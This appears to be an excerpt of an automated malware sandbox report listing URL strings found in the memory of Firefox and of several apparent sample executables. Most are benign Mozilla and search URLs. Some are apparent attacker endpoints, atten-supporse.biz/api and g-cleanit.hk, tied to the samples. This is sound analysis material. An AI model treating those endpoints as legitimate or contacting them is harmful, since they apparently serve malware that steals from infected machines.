Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000003.2762399051.00000294ABF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001F.00000002.2969171257.00000294AF67B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caOtherBookmarksFolderTitle
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001F.00000002.2972627583.00000294AF723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001F.00000002.2874356378.000000C4627D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdp
Source: firefox.exe, 0000001F.00000002.2895107226.00000294A924C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001F.00000002.2931152196.00000294ADF43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2926644947.00000294AD16B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3005210447.00002A858BA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.comZ
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: 5a20612cd1.exe, 00000011.00000003.3061186123.000000000125D000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2923519142.000000000125F000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2924215706.0000000001266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 5a20612cd1.exe, 00000011.00000003.2923811061.0000000001262000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2923519142.000000000125F000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2924215706.0000000001266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/1
Source: 5a20612cd1.exe, 00000011.00000003.2971362473.000000000125D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/2
Source: 5a20612cd1.exe, 0000000F.00000002.2574983040.000000000112B000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 0000000F.00000003.2573853922.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/?
Source: 5a20612cd1.exe, 0000000F.00000002.2574983040.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 0000000F.00000003.2573768570.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 0000000F.00000002.2574983040.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2865147981.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2816774103.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.3222473659.0000000005777000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2970165661.0000000005796000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2808696061.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2986752730.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2862338964.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2983837689.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2986482121.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.3224936078.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2909698304.0000000005793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 5a20612cd1.exe, 00000011.00000003.2923890725.000000000124F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api#
Source: 5a20612cd1.exe, 00000011.00000003.3222473659.0000000005777000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.3224936078.0000000005793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiJg
Source: 5a20612cd1.exe, 0000000F.00000002.2574983040.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 0000000F.00000003.2573768570.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apii
Source: 5a20612cd1.exe, 0000000F.00000002.2574983040.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 0000000F.00000003.2573768570.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apin
Source: 5a20612cd1.exe, 00000011.00000003.2957358785.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apitat
Source: 5a20612cd1.exe, 00000011.00000003.2865147981.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2816774103.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2862338964.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2909698304.0000000005793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apitg
Source: 5a20612cd1.exe, 00000011.00000003.2958332481.000000000125B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/r
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001F.00000002.2976050815.00000294B00AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B4603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2215093487.0000000001AAA000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2910134309.0000000005761000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2215093487.0000000001AAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001F.00000002.2932542016.00000294AE02F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A922C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B41DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B41DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B41DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B41DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001F.00000002.2892879533.00000294A85D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.2986949900.00000294B439C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001F.00000002.2986949900.00000294B439C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2215093487.0000000001AAA000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2910134309.0000000005761000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2215093487.0000000001AAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001F.00000003.2841617207.00000294B439C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001F.00000003.2841617207.00000294B439C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B4440000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B4603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001F.00000002.2884773158.000002949C430000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2884773158.000002949C411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3005210447.00002A858BA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001F.00000003.2762399051.00000294ABF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003014480.0000104006D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2882781432.00000182BE804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2908716384.00000294AC594000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B44B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001F.00000003.2844134582.00000294ADE66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892123688.00000294A827D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001F.00000002.3007533161.0000330992204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000003.2845479795.00000294AD02D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001F.00000002.2906998792.00000294AC1F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001F.00000002.2895107226.00000294A924C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: 3e3be1ecc4.exe, 0000000D.00000003.3089794015.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089137215.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089580514.00000000057E4000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089961205.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3090206271.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://g-cleanit.hk
